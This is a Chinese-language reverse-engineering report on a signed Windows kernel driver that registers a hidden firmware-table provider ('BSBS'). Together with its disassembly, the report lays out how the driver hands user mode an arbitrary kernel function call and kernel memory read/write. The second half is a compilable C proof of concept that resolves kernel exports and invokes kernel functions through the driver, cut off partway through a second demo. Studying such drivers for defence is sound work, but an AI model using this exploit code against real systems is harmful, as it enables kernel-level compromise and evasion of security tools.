NewDriverMMM驱动分析报告

NewDriverMMM驱动分析报告

1. 概述

名称:NewDriverMMM
通信机制:Windows 固件表注册 (SystemFirmwareTableInformation)
Provider 签名:0x53425342 = 'BSBS'
SHA256:
    1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd 
	fdb3907ddda9ff9bd9ec4f8bd29aad823da77b5b3bf599813fecd034b0221189

SpcSpOpusInfo: 深圳市奥联信息安全技术有限公司 

pdb:F:\0316 桌面\QDDDD\驱动最新加绘制-改PTE方案\x64\Release\NewDriverMMM.pdb


File found on MalwareBazaar

//本文分析样本对应哈希:1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd

核心结论: 该驱动不创建任何设备对象、不注册任何 IRP 派遣例程,而是通过 ZwSetSystemInformation(SystemRegisterFirmwareTableInformationHandler) 注册一个自定义固件表提供者 ('BSBS'),将用户态对 GetSystemFirmwareTable('BSBS', ...) 的调用转化为内核态任意函数调用原语。CFG (Control Flow Guard) 被旁路——dispatch stub 仅为 jmp rax


2. 函数逐一分析

2.1 DriverEntry @ 0x140005000

反编译:

NTSTATUS __stdcall DriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  InitSecurityCookie();                              /*0x140005010*/
  return RealDriverEntry(DriverObject, RegistryPath); /*0x140005020*/
}

汇编:

140005000  mov [rsp+arg_0], rbx
140005005  push rdi
140005006  sub rsp, 20h
14000500a  mov rbx, rdx          ; 保存 RegistryPath
14000500d  mov rdi, rcx          ; 保存 DriverObject
140005010  call InitSecurityCookie
140005015  mov rdx, rbx          ; RegistryPath
140005018  mov rcx, rdi          ; DriverObject
14000501b  call RealDriverEntry
140005020  mov rbx, [rsp+28h+arg_0]
140005025  add rsp, 20h
140005029  pop rdi
14000502a  retn

仅初始化安全 cookie 后调用 RealDriverEntry。无任何设备创建、IRP 派遣表设置。


2.2 InitSecurityCookie @ 0x14000502C

反编译:

uintptr_t InitSecurityCookie()
{
  if ( !_security_cookie || _security_cookie == 0x2B992DDFA232LL )
    __fastfail(6u);
  qword_140003008 = ~_security_cookie;
  return ~_security_cookie;
}

标准 MSVC __security_cookie 初始化, 将 ~cookie 存入全局 qword_140003008


2.3 RealDriverEntry @ 0x1400011FC

反编译:

__int64 __fastcall RealDriverEntry(PDRIVER_OBJECT DriverObject, PUNICODE_STRING RegistryPath)
{
  DriverObject->DriverUnload = DriverUnload_140001220; /*0x140001210*/
  RegisterFirmwareProvider(DriverObject, 1, (PFNFTH)FirmwareTableHandler_BSBS); /*0x140001214*/
  return 0; /*0x14000121b*/
}

关键点:

  • 仅设置 DriverUnload
  • 调用 RegisterFirmwareProvider 注册固件表 handler
  • 返回 0 (STATUS_SUCCESS)
  • 不创建设备对象, 不设置 IRP 派遣表

2.4 RegisterFirmwareProvider @ 0x140001000

反编译:

NTSTATUS __fastcall RegisterFirmwareProvider(PDRIVER_OBJECT DriverObject, char isRegister, PFNFTH fnfth)
{
  SYSTEM_FIRMWARE_TABLE_HANDLER SystemInformation; // [rsp+20h] [rbp-28h] BYREF

  SystemInformation.Register = isRegister;                    /*0x140001006*/
  SystemInformation.FirmwareTableHandler = fnfth;              /*0x14000100a*/
  SystemInformation.DriverObject = DriverObject;               /*0x140001014*/
  *(_WORD *)(&SystemInformation.Register + 1) = 0;             /*0x140001019*/
  *(&SystemInformation.Register + 3) = 0;                      /*0x140001022*/
  SystemInformation.ProviderSignature = 1396855618;            /*0x140001029*/
  return ZwSetSystemInformation(SystemRegisterFirmwareTableInformationHandler, &SystemInformation, 0x18u);
}

汇编关键指令:

140001026  lea ecx, [rax+4Bh]      ; SystemInformationClass = 0x4B = SystemRegisterFirmwareTableInformationHandler
140001029  mov [rsp+48h+SystemInformation.ProviderSignature], 53425342h  ; 'BSBS'
14000102e  lea r8d, [rax+18h]      ; SystemInformationLength = 0x18 = 24 字节
140001031  call cs:ZwSetSystemInformation

分析:

  • SystemInformationClass = 0x4B = SystemRegisterFirmwareTableInformationHandler
  • ProviderSignature = 0x53425342 = 'BSBS' (内存小端序: 42 53 42 53 = "BSBS")
  • SystemInformationLength = 0x18 = 24 字节 = sizeof(SYSTEM_FIRMWARE_TABLE_HANDLER)
  • Register = 1: 注册; Register = 0: 注销
  • FirmwareTableHandler = FirmwareTableHandler_BSBS (0x140001040)

用户态可通过 GetSystemFirmwareTable('BSBS', ...) 触发 handler。


2.5 DriverUnload_140001220 @ 0x140001220

反编译:

void __stdcall DriverUnload_140001220(_DRIVER_OBJECT *DriverObject)
{
  RegisterFirmwareProvider(DriverObject, 0, (PFNFTH)FirmwareTableHandler_BSBS); /*0x140001229*/
}

注销 'BSBS' 固件表提供者 (Register = 0)。


2.6 FirmwareTableHandler_BSBS @ 0x140001040 (核心 handler)

反编译 (重命名后):

NTSTATUS __cdecl FirmwareTableHandler_BSBS(ACPI_SYSTEM_FIRMWARE_TABLE_INFORMATION *FirmwareTableInformation)
{
  ULONG64 UserCmdStruct; // rbx
  __int64 AllocResult_obj; // rbp
  __int64 MapResult_buf; // r8
  void *CopyDest; // rdi
  const void *CopySrc; // rsi

  if ( !FirmwareTableInformation )
    return 0;
  if ( KeGetCurrentIrql()
    || FirmwareTableInformation->TableBufferLength != 64
    || *(_DWORD *)FirmwareTableInformation->TableBuffer != 'ACPI' )
  {
    return 0;
  }
  UserCmdStruct = *(_QWORD *)&FirmwareTableInformation->TableBuffer[4];
  if ( UserCmdStruct >= MmUserProbeAddress - 4096 )
    return 0;

  if ( *(_DWORD *)UserCmdStruct )   // opcode != 0 → Path A
  {
    // === 路径 A: 分配 + 映射 + 拷贝 + 清理 ===
    AllocResult_obj = ((func1)(*(uint*)(UserCmdStruct+29) | (*(uint*)(UserCmdStruct+25)<<32)))(
                        *(QWORD*)(UserCmdStruct+9),    // arg1
                        *(DWORD*)(UserCmdStruct+5),    // size
                        0, 0, 0);
    if ( AllocResult_obj )
    {
      ((func2)(*(uint*)(UserCmdStruct+37) | (*(uint*)(UserCmdStruct+33)<<32)))(
                        AllocResult_obj, 0, *(BYTE*)(UserCmdStruct+4) != 0);
      MapResult_buf = ((func3)(*(uint*)(UserCmdStruct+45) | (*(uint*)(UserCmdStruct+41)<<32)))(
                        AllocResult_obj, 0, 0, 0, 0, 16);
      if ( MapResult_buf )
      {
        if ( *(BYTE*)(UserCmdStruct+4) )  // direction flag
        { CopyDest = (void*)MapResult_buf; CopySrc = *(void**)(UserCmdStruct+17); }
        else
        { CopyDest = *(void**)(UserCmdStruct+17); CopySrc = (const void*)MapResult_buf; }
        qmemcpy(CopyDest, CopySrc, *(DWORD*)(UserCmdStruct+5));
        ((func4)(*(uint*)(UserCmdStruct+53) | (*(uint*)(UserCmdStruct+49)<<32)))(MapResult_buf, AllocResult_obj);
      }
      ((func5)(*(uint*)(UserCmdStruct+61) | (*(uint*)(UserCmdStruct+57)<<32)))(AllocResult_obj);
      ((func6)(*(uint*)(UserCmdStruct+69) | (*(uint*)(UserCmdStruct+65)<<32)))(AllocResult_obj);
    }
  }
  else  // opcode == 0 → Path B
  {
    // === 路径 B: 直接间接调用 (任意内核函数调用) ===
    **(QWORD**)(UserCmdStruct+17) =
        ((func2)( (*(uint*)(UserCmdStruct+33)<<32) | *(uint*)(UserCmdStruct+37)))(
            *(QWORD*)(UserCmdStruct+73),
            *(QWORD*)(UserCmdStruct+81),
            *(QWORD*)(UserCmdStruct+89),
            *(QWORD*)(UserCmdStruct+97),
            *(QWORD*)(UserCmdStruct+105),
            *(QWORD*)(UserCmdStruct+113),
            *(QWORD*)(UserCmdStruct+121),
            *(QWORD*)(UserCmdStruct+129));
  }
  return 0;
}

汇编关键校验段:

14000105F  mov rax, cr8              ; 读取 IRQL
140001063  test al, al
140001065  jnz loc_1400011E2         ; IRQL != PASSIVE_LEVEL → 返回
14000106B  cmp dword ptr [rcx+0Ch], 40h   ; TableBufferLength == 64
14000106F  jnz loc_1400011E2
140001075  cmp dword ptr [rcx+10h], 41435049h  ; TableBuffer[0..3] == 'ACPI'
14000107C  jnz loc_1400011E2
140001082  mov rbx, [rcx+14h]        ; UserCmdStruct = TableBuffer[4..11]
140001086  mov rax, cs:MmUserProbeAddress
14000108D  mov rcx, [rax]
140001090  sub rcx, 1000h
140001097  cmp rbx, rcx
14000109A  jnb loc_1400011E2         ; UserCmdStruct >= MmUserProbeAddress-0x1000 → 返回

汇编路径 B (直接调用):

140001191  mov rcx, [rbx+81h]        ; arg8 = UserCmdStruct+129
140001198  mov edi, [rbx+21h]        ; func2 高32位 = UserCmdStruct+33
14000119B  mov eax, [rbx+25h]        ; func2 低32位 = UserCmdStruct+37
14000119E  mov r9, [rbx+61h]         ; arg4 = UserCmdStruct+97
1400011A2  mov r8, [rbx+59h]         ; arg3 = UserCmdStruct+89
1400011A6  mov rdx, [rbx+51h]        ; arg2 = UserCmdStruct+81
1400011AA  mov [rsp+58h+var_20], rcx ; 堆栈 arg8
1400011AF  mov rcx, [rbx+79h]        ; arg7 = UserCmdStruct+121
1400011B3  mov [rsp+58h+var_28], rcx ; 堆栈 arg7
1400011B8  mov rcx, [rbx+71h]        ; arg6 = UserCmdStruct+113
1400011BC  mov [rsp+58h+var_30], rcx ; 堆栈 arg6
1400011C1  mov rcx, [rbx+69h]        ; arg5 = UserCmdStruct+105
1400011C5  shl rdi, 20h
1400011C9  mov [rsp+58h+var_38], rcx ; 堆栈 arg5
1400011CE  or rax, rdi               ; rax = func2 (完整 64 位地址)
1400011D1  mov rcx, [rbx+49h]        ; arg1 = UserCmdStruct+73
1400011D5  call cs:__guard_dispatch_icall_fptr  ; 调用 func2(arg1..arg8)
1400011DB  mov rcx, [rbx+11h]        ; rcx = *(QWORD*)(UserCmdStruct+17) = 结果指针
1400011DF  mov [rcx], rax            ; *result_ptr = 返回值

3. 用户态命令结构体布局

FirmwareTableHandler_BSBSTableBuffer[4..11] 读取用户态指针 UserCmdStruct, 指向一个 137 字节、1 字节对齐(紧密打包)的命令结构:

#pragma pack(push, 1)
typedef struct _BSBS_CMD {
    uint32_t opcode;        // [0..3]    非0 = 路径A(分配+拷贝), 0 = 路径B(直接调用)
    uint8_t  direction;     // [4]       路径A: 拷贝方向. 0=kernel→user, 1=user→kernel
    uint32_t size;          // [5..8]    路径A: 拷贝字节数 + func1 的 arg2
    uint64_t arg1;          // [9..16]   路径A: func1 的 arg1
    void*    user_ptr;      // [17..24]  路径A: 用户缓冲区; 路径B: 接收返回值的 QWORD 指针
    void*    func1;         // [25..32]  路径A: 调用#1 (arg1, size, 0,0,0) → obj
    void*    func2;         // [33..40]  路径A: 调用#2 (obj, 0, direction!=0)
                             //           路径B: 目标函数 (8个QWORD参数)
    void*    func3;         // [41..48]  路径A: 调用#3 (obj,0,0,0,0,16) → buf
    void*    func4;         // [49..56]  路径A: 调用#4 (buf, obj) 清理
    void*    func5;         // [57..64]  路径A: 调用#5 (obj) 释放
    void*    func6;         // [65..72]  路径A: 调用#6 (obj) 释放
    uint64_t p2_arg1;       // [73..80]  路径B: 参数1
    uint64_t p2_arg2;       // [81..88]  路径B: 参数2
    uint64_t p2_arg3;       // [89..96]  路径B: 参数3
    uint64_t p2_arg4;       // [97..104] 路径B: 参数4
    uint64_t p2_arg5;       // [105..112]路径径B: 参数5
    uint64_t p2_arg6;       // [113..120]路径B: 参数6
    uint64_t p2_arg7;       // [121..128]路径B: 参数7
    uint64_t p2_arg8;       // [129..136]路径B: 参数8
} BSBS_CMD;
#pragma pack(pop)

固件表缓冲区 (64 字节, 由用户填充):

UCHAR FwBuffer[64];
*(uint32_t*)(FwBuffer + 0)  = 0x41435049;   // 'ACPI' 魔术字
*(uint64_t*)(FwBuffer + 4)  = (uint64_t)&cmd; // 指向用户态 BSBS_CMD
// 其余字节任意

⚠️ 关键发现: 函数指针字段的 DWORD 交换 (反混淆要点)

由于结构体 1 字节对齐, 所有 8 字节字段(QWORD/PVOID)都不在自然对齐位置上, 偏移分别为 9, 17, 25, 33, 41, 49, 57, 65, 73, 81, 89, 97, 105, 113, 121, 129。

函数指针字段 (func1-func6 @ 偏移 25-72) 以 DWORD 交换方式存储, 这是 handler 的汇编代码确认的实际行为, 而非 IDA 反编译器的伪影。handler 通过两条独立的 32 位加载 + 移位或运算来重建指针, 且高低 DWORD 顺序与正常小端序相反:

; func1 @ 偏移 25 的重建 (0x1400010a8):
1400010a8  mov ecx, [rbx+1Dh]     ; ecx = DWORD@29 (正常小端序中是高32位)
1400010ae  mov eax, [rbx+19h]     ; eax = DWORD@25 (正常小端序中是低32位)
1400010b7  shl rax, 20h           ; rax = DWORD@25 << 32
1400010bb  or  rax, rcx           ; rax = (DWORD@25 << 32) | DWORD@29

正常小端序 QWORD 存储为 低DWORD | (高DWORD << 32), 但 handler 重建为 (低偏移DWORD << 32) | 高偏移DWORD, 即两个 32 位半部分被交换了。

所有 6 个函数指针均使用相同的交换模式 (已通过汇编验证):

字段 偏移 handler 重建公式 正常小端序应为
func1 25 (DWORD@25 << 32) | DWORD@29 DWORD@25 | (DWORD@29 << 32)
func2 33 (DWORD@33 << 32) | DWORD@37 DWORD@33 | (DWORD@37 << 32)
func3 41 (DWORD@41 << 32) | DWORD@45 DWORD@41 | (DWORD@45 << 32)
func4 49 (DWORD@49 << 32) | DWORD@53 DWORD@49 | (DWORD@53 << 32)
func5 57 (DWORD@57 << 32) | DWORD@61 DWORD@57 | (DWORD@61 << 32)
func6 65 (DWORD@65 << 32) | DWORD@69 DWORD@65 | (DWORD@69 << 32)

Path B 中的 func2 (偏移 33) 使用相同模式 (0x140001191-0x1400011ce):

140001198  mov edi, [rbx+21h]    ; edi = DWORD@33
14000119b  mov eax, [rbx+25h]    ; eax = DWORD@37
1400011c5  shl rdi, 20h          ; rdi = DWORD@33 << 32
1400011ce  or  rax, rdi          ; rax = (DWORD@33 << 32) | DWORD@37

PoC 中必须对函数指针执行 SwapDwords 操作:

static uint64_t SwapDwords(uint64_t v) {
    return ((uint64_t)(uint32_t)v << 32) | (uint32_t)(v >> 32);
}
// 示例: 0xFFFFF8017911BDC0 -> 0x7911BDC0FFFFF801
cmd.func2_swapped = SwapDwords((uint64_t)MmGetPhysicalAddress);

非交换字段 (opcode, direction, size, arg1, user_ptr, p2_arg1-8) 均以正常小端序读取, 无需交换:

  • opcode @ [0]: cmp [rbx], edi — 正常 DWORD
  • direction @ [4]: cmp [rbx+4], dil — 正常 BYTE
  • size @ [5]: mov edx, [rbx+5] — 正常 DWORD
  • arg1 @ [9]: mov rcx, [rbx+9] — 正常 QWORD (未对齐)
  • user_ptr @ [17]: mov rax, [rbx+11h] — 正常 QWORD
  • p2_arg1-8 @ [73-129]: mov rcx, [rbx+49h] 等 — 正常 QWORD

4. 路径 A: 内存分配+映射+拷贝工作流

opcode != 0 时, 执行 6 步间接调用工作流:

步骤 字段偏移 调用签名 推测对应函数
#1 func1 @ [25] obj = func1(arg1, size, 0, 0, 0) IoAllocateMdl(VirtualAddress, Length, FALSE, FALSE, NULL)
#2 func2 @ [33] func2(obj, 0, direction!=0) MmProbeAndLockPages(MDL, KernelMode, direction?IoWriteAccess:IoReadAccess)
#3 func3 @ [41] buf = func3(obj, 0, 0, 0, 0, 16) MmMapLockedPagesSpecifyCache(MDL, KernelMode, MmNonCached, NULL, 0, BugcheckOnFailure)
#4 (拷贝) qmemcpy(dest, src, size) direction=0: dest=user_ptr, src=buf (读内核); direction=1: dest=buf, src=user_ptr (写内核)
#4 func4 @ [49] func4(buf, obj) MmUnmapLockedPages(buf, MDL)
#5 func5 @ [57] func5(obj) MmUnlockPages(MDL)
#6 func6 @ [65] func6(obj) IoFreeMdl(MDL)

参数个数与各内核函数签名吻合, 但具体函数由用户态提供, 不可唯一确定。上述为最可能的映射。


5. 路径 B: 任意内核函数调用原语

opcode == 0 时, 以 8 个 QWORD 参数调用 func2, 返回值写入 *user_ptr:

*(uint64_t*)user_ptr = func2(p2_arg1, p2_arg2, p2_arg3, p2_arg4,
                              p2_arg5, p2_arg6, p2_arg7, p2_arg8);

这是一个完全通用的 ring0 任意函数调用原语。用户需:

  1. 通过 EnumDeviceDrivers / NtQuerySystemInformation(SystemModuleInformation) 获取 ntoskrnl 基址
  2. 通过 LoadLibraryEx("ntoskrnl.exe", NULL, DONT_RESOLVE_DLL_REFERENCES) + GetProcAddress 获取导出函数 RVA
  3. 计算 kernelAddr = kernelBase + RVA
  4. 填入 func2 字段

关于用户推测的 VA↔PA 转换: 该机制比 VA→PA 转换更通用。MmGetPhysicalAddress(virtualAddress) 只是路径 B 的一个可能用例(1 参数函数, 返回 PHYSICAL_ADDRESS)。路径 B 支持任意 8 参数以内的内核函数调用。


6. 用户态触发方式

用户态                              内核态
──────                              ──────
GetSystemFirmwareTable('BSBS', 0, buf, 64)
  │
  └─→ NtQuerySystemInformation(SystemFirmwareTableInformation, &info, 80, &retLen)
        │
        └─→ ExpQuerySystemFirmwareTableInformation
              │  捕获用户 info 结构到内核缓冲区
              │
              └─→ 调用 'BSBS' provider handler = FirmwareTableHandler_BSBS
                    │
                    ├─ 校验: IRQL==0, TableBufferLength==64, TableBuffer[0..3]=='ACPI'
                    ├─ 读取 UserCmdStruct 指针 (TableBuffer[4..11])
                    ├─ 校验: UserCmdStruct < MmUserProbeAddress - 0x1000
                    │
                    ├─ 路径A (opcode!=0): alloc→lock→map→copy→unmap→unlock→free
                    └─ 路径B (opcode==0): call func2(8 args) → *user_ptr = result
              │
              └─→ 将(可能被修改的)info 结构拷回用户态

7. 安全意义

  1. 无设备对象, 无 IOCTL: 传统驱动检测(扫描 \Device\* 符号链接、IRP 派遣表)完全失效。
  2. 合法 API 通道: 使用 ZwSetSystemInformation(SystemRegisterFirmwareTableInformationHandler) 是 Windows 官方支持的固件表注册机制, 表面合法。
  3. CFG 旁路: 7 处间接调用通过 jmp rax NOP stub, 可调用任意内核地址, 不受 CFG 位图约束。
  4. 任意内核函数调用: 路径 B 允许从用户态调用任意内核函数(8 参数以内), 等价于内核级 RPC。
  5. 双向内存拷贝: 路径 A 允许在用户态和内核态之间拷贝任意数据, 可用于读写内核内存。
  6. 静默失败: 所有校验失败均返回 0 (STATUS_SUCCESS), 不产生错误日志。

8. IDA 中的重命名/注释汇总

地址 原名 新名 类型
0x140001040 sub_140001040 FirmwareTableHandler_BSBS 函数
0x140001000 sub_140001000 RegisterFirmwareProvider 函数
0x1400011FC entry_1400011FC RealDriverEntry 函数
0x14000502C sub_14000502C InitSecurityCookie 函数
0x140001250 _guard_dispatch_icall_nop GuardDispatchIcallNop_JmpRax 函数
0x140001230 _guard_check_icall_nop GuardCheckIcallNop_Ret 函数
0x140001040 v1 v1 UserCmdStruct 局部变量
0x140001040 v2 v2 AllocResult_obj 局部变量
0x140001040 v3 v3 MapResult_buf 局部变量
0x140001040 v4 v4 CopyDest 局部变量
0x140001040 v5 v5 CopySrc 局部变量

另在 0x140005000, 0x1400011FC, 0x140001000, 0x140001220, 0x140001040, 0x140001250, 0x140001230, 0x14000502C 等函数入口添加了函数级注释; 在 handler 内部 18 个关键指令地址添加了行级注释。IDB 已保存。

POC

image-20260701215045266

/*
 * PoC v3 for BSBS firmware-table covert kernel<->user communication channel
 * Target driver: 1d9224a72e64bb2aad289edc81ea0720c764511c3e2b5beb5d0d5ce82a719abd.sys
 *
 * Build (MSVC):  cl /W4 /Tp poc.cpp /link ntdll.lib psapi.lib
 * Build (MinGW): x86_64-w64-mingw32-g++ -o poc.exe poc.cpp -lntdll -lpsapi
 *
 *
 */

#include <windows.h>
#include <winternl.h>
#include <psapi.h>
#include <stdio.h>
#include <stdint.h>
#include <string.h>

/* ------------------------------------------------------------------ */
/* NT definitions                                                      */
/* ------------------------------------------------------------------ */
#ifndef SystemFirmwareTableInformation
#define SystemFirmwareTableInformation 76
#endif

typedef enum _SYSTEM_FIRMWARE_TABLE_ACTION {
    SystemFirmwareTable_Invalid  = 0,
    SystemFirmwareTable_Get      = 1,
    SystemFirmwareTable_Enumerate= 2,
} SYSTEM_FIRMWARE_TABLE_ACTION;

/*
 * Raw buffer layout (80 bytes, NO struct padding):
 *   [0..3]   ProviderSignature   ('BSBS' = 0x53425342)
 *   [4..7]   Action              (1 = SystemFirmwareTable_Get)
 *   [8..11]  TableID             (0)
 *   [12..15] TableBufferLength   (64)
 *   [16..79] TableBuffer[64]     ('ACPI' + cmd_ptr + padding)
 *
 * The kernel copies the ENTIRE 80-byte buffer (including TableBuffer
 * contents) to kernel space before calling the handler. This is confirmed
 * by ReactOS source and Windows kernel behavior.
 */
#define FW_INFO_SIZE       80
#define FW_TABLE_BUF_LEN   64

/* ------------------------------------------------------------------ */
/* BSBS command structure (1-byte packed, 137 bytes)
 *
 * IMPORTANT: Function pointer fields (func1-func6) are stored with their
 * two DWORDs SWAPPED relative to normal little-endian!
 *
 * The handler reconstructs each pointer as:
 *   (DWORD@offset << 32) | DWORD@(offset+4)
 *
 * Normal little-endian QWORD would be:
 *   DWORD@offset | (DWORD@(offset+4) << 32)
 *
 * So we must store: high_DWORD at the lower offset, low_DWORD at the higher
 * offset. This is equivalent to swapping the two 32-bit halves of the pointer.
 *
 * All other fields (opcode, direction, size, arg1, user_ptr, p2_arg1-8)
 * are read as normal little-endian QWORD/DWORD/BYTE and need NO swapping.
 * ------------------------------------------------------------------ */
#pragma pack(push, 1)
typedef struct _BSBS_CMD {
    uint32_t opcode;          /* [0..3]    non0=PathA, 0=PathB            */
    uint8_t  direction;       /* [4]       PathA: 0=k->u, 1=u->k         */
    uint32_t size;            /* [5..8]    PathA: copy size / func1 arg2  */
    uint64_t arg1;            /* [9..16]   PathA: func1 arg1             */
    void*    user_ptr;        /* [17..24]  PathA: user buf; PathB: result */
    uint64_t func1_swapped;   /* [25..32]  PathA: alloc (DWORD-SWAPPED!)  */
    uint64_t func2_swapped;   /* [33..40]  PathA: setup; PathB: target    */
    uint64_t func3_swapped;   /* [41..48]  PathA: map (DWORD-SWAPPED!)    */
    uint64_t func4_swapped;   /* [49..56]  PathA: unmap (DWORD-SWAPPED!)  */
    uint64_t func5_swapped;   /* [57..64]  PathA: unlock (DWORD-SWAPPED!) */
    uint64_t func6_swapped;   /* [65..72]  PathA: free (DWORD-SWAPPED!)   */
    uint64_t p2_arg1;         /* [73..80]  PathB arg1 (normal LE)         */
    uint64_t p2_arg2;         /* [81..88]  PathB arg2                     */
    uint64_t p2_arg3;         /* [89..96]  PathB arg3                     */
    uint64_t p2_arg4;         /* [97..104] PathB arg4                     */
    uint64_t p2_arg5;         /* [105..112]PathB arg5                     */
    uint64_t p2_arg6;         /* [113..120]PathB arg6                     */
    uint64_t p2_arg7;         /* [121..128]PathB arg7                     */
    uint64_t p2_arg8;         /* [129..136]PathB arg8                     */
} BSBS_CMD;
#pragma pack(pop)

/* Compile-time size check */
typedef char bsbs_cmd_size_check[sizeof(BSBS_CMD) == 137 ? 1 : -1];

#define BSBS_PROVIDER_SIG  0x53425342u   /* 'BSBS' */
#define BSBS_TABLE_MAGIC   0x41435049u   /* 'ACPI' */

/* ------------------------------------------------------------------ */
/* Swap the two 32-bit halves of a 64-bit value.
 * Example: 0xFFFFF8017911BDC0 -> 0x7911BDC0FFFFF801
 *
 * This is required because the handler reads function pointers as:
 *   (DWORD@offset << 32) | DWORD@(offset+4)
 * which is the reverse of normal little-endian QWORD storage.
 * ------------------------------------------------------------------ */
static uint64_t SwapDwords(uint64_t v)
{
    return ((uint64_t)(uint32_t)v << 32) | (uint32_t)(v >> 32);
}

/* ------------------------------------------------------------------ */
/* API typedefs                                                        */
/* ------------------------------------------------------------------ */
typedef NTSTATUS (NTAPI *pNtQuerySystemInformation)(
    ULONG, PVOID, ULONG, PULONG);

/* ------------------------------------------------------------------ */
/* Helper: resolve ntoskrnl kernel base address                      */
/* ------------------------------------------------------------------ */
static PVOID NtoskrnlKernelBase(VOID)
{
    LPVOID drivers[1024];
    DWORD cbNeeded = 0;
    CHAR path[MAX_PATH];
    if (EnumDeviceDrivers(drivers, sizeof(drivers), &cbNeeded) && cbNeeded) {
        DWORD count = cbNeeded / sizeof(LPVOID);
        for (DWORD i = 0; i < count; i++) {
            if (GetDeviceDriverBaseNameA(drivers[i], path, MAX_PATH)) {
                if (_stricmp(path, "ntoskrnl.exe") == 0)
                    return drivers[i];
            }
        }
    }
    return NULL;
}

/* ------------------------------------------------------------------ */
/* Helper: resolve kernel function address from export name           */
/* ------------------------------------------------------------------ */
static PVOID ResolveKernelFunc(PCSTR funcName, PVOID kernelBase)
{
    HMODULE hNtUser = LoadLibraryExA("ntoskrnl.exe", NULL,
                                     DONT_RESOLVE_DLL_REFERENCES);
    if (!hNtUser) {
        printf("[-] LoadLibraryEx(ntoskrnl.exe) failed: %lu\n", GetLastError());
        return NULL;
    }
    FARPROC userAddr = GetProcAddress(hNtUser, funcName);
    if (!userAddr) {
        printf("[-] GetProcAddress(%s) failed\n", funcName);
        FreeLibrary(hNtUser);
        return NULL;
    }
    ULONG_PTR rva = (ULONG_PTR)userAddr - (ULONG_PTR)hNtUser;
    FreeLibrary(hNtUser);
    PVOID kernelAddr = (PVOID)((ULONG_PTR)kernelBase + rva);
    printf("[+] %-40s kernel=%p (RVA=0x%llx)\n",
           funcName, kernelAddr, (unsigned long long)rva);
    return kernelAddr;
}

/* ------------------------------------------------------------------ */
/* Helper: hex dump                                                    */
/* ------------------------------------------------------------------ */
static void HexDump(const char *label, const void *data, size_t len)
{
    const uint8_t *p = (const uint8_t *)data;
    printf("%s (%zu bytes):\n", label, len);
    for (size_t i = 0; i < len; i++) {
        if (i % 16 == 0) printf("  %04zx: ", i);
        printf("%02x ", p[i]);
        if (i % 16 == 15 || i == len - 1) printf("\n");
    }
}

/* ------------------------------------------------------------------ */
/* Invoke BSBS handler via NtQuerySystemInformation
 *
 * Uses a raw 80-byte buffer (16-byte header + 64-byte TableBuffer).
 * The TableBuffer is pre-filled with 'ACPI' magic and a pointer to
 * the BSBS_CMD structure. The kernel copies this entire buffer to
 * kernel space before calling the handler, so the handler CAN read
 * the 'ACPI' magic and cmd pointer.
 *
 * DO NOT use GetSystemFirmwareTable �?it allocates its own buffer
 * with zeroed TableBuffer, so the 'ACPI' check in the handler always
 * fails.
 * ------------------------------------------------------------------ */
static NTSTATUS InvokeBSBS(pNtQuerySystemInformation NtQSI, BSBS_CMD *cmd)
{
    /* 16-byte aligned raw buffer to avoid STATUS_DATATYPE_MISALIGNMENT */
    __declspec(align(16)) UCHAR rawBuf[FW_INFO_SIZE];
    memset(rawBuf, 0, sizeof(rawBuf));

    /* Header (16 bytes) */
    *(uint32_t *)(rawBuf + 0)  = BSBS_PROVIDER_SIG;       /* 'BSBS' */
    *(uint32_t *)(rawBuf + 4)  = SystemFirmwareTable_Get;  /* Action = 1 */
    *(uint32_t *)(rawBuf + 8)  = 0;                         /* TableID */
    *(uint32_t *)(rawBuf + 12) = FW_TABLE_BUF_LEN;          /* TableBufferLength = 64 */

    /* TableBuffer (64 bytes, starts at offset 16) */
    *(uint32_t *)(rawBuf + 16) = BSBS_TABLE_MAGIC;          /* TableBuffer[0..3] = 'ACPI' */
    *(void **)(rawBuf + 20)    = (void *)cmd;               /* TableBuffer[4..11] = &BSBS_CMD */
    /* TableBuffer[12..63] = 0 (zeroed by memset) */

    ULONG retLen = 0;
    NTSTATUS st = NtQSI(SystemFirmwareTableInformation,
                        rawBuf, sizeof(rawBuf), &retLen);
    return st;
}

/* ================================================================ */
/*  DEMO 1: Path B - MmGetPhysicalAddress (VA -> PA)                */
/*  Path B: opcode=0, func2=target function, args via p2_arg1..8   */
/*  Result stored to *user_ptr                                      */
/* ================================================================ */
static void Demo_PathB_MmGetPhysicalAddress(
    pNtQuerySystemInformation NtQSI, PVOID kernelBase)
{
    printf("\n=== Demo Path B: MmGetPhysicalAddress ===\n");

    PVOID MmGetPhysicalAddress = ResolveKernelFunc(
        "MmGetPhysicalAddress", kernelBase);
    if (!MmGetPhysicalAddress) return;

    /* Use a user-mode VA that we know is valid */
    PVOID targetVA = (PVOID)GetModuleHandleA("ntdll.dll");
    uint64_t result = 0xDEADBEEFCAFEBABEULL; /* sentinel to detect change */

    __declspec(align(16)) BSBS_CMD cmd;
    memset(&cmd, 0, sizeof(cmd));
    cmd.opcode        = 0;                                      /* Path B */
    cmd.user_ptr      = (void *)&result;                        /* result ptr */
    cmd.func2_swapped = SwapDwords((uint64_t)MmGetPhysicalAddress); /* SWAPPED! */
    cmd.p2_arg1       = (uint64_t)targetVA;                     /* arg1 = VA */

    printf("[*] MmGetPhysicalAddress kernel addr : 0x%016llx\n",
           (unsigned long long)MmGetPhysicalAddress);
    printf("[*] After SwapDwords (stored in cmd) : 0x%016llx\n",
           (unsigned long long)cmd.func2_swapped);
    printf("[*] Handler will reconstruct         : 0x%016llx\n",
           (unsigned long long)SwapDwords(cmd.func2_swapped));
    printf("[*] Calling MmGetPhysicalAddress(%p) via BSBS handler...\n", targetVA);

    NTSTATUS st = InvokeBSBS(NtQSI, &cmd);

    if (result != 0xDEADBEEFCAFEBABEULL) {
        printf("[+] MmGetPhysicalAddress returned: 0x%016llx\n",
               (unsigned long long)result);
        printf("[+] Physical page frame: 0x%llx\n",
               (unsigned long long)(result >> 12));
    } else {
        printf("[-] Handler did not modify result (sentinel unchanged)\n");
        printf("    NtQSI status: 0x%08lx\n", (ULONG)st);
        if (st == 0)
            printf("    Handler returned SUCCESS but did nothing (checks failed?)\n");
        else
            printf("    Handler likely exceptioned (kernel SEH caught it)\n");
    }
}

/* ================================================================ */
/*  DEMO 2: Path B - DbgPrint                                        */
/* ================================================================ */
static void Demo_PathB_DbgPrint(
    pNtQuerySystemInformation NtQSI, PVOID kernelBase)
{
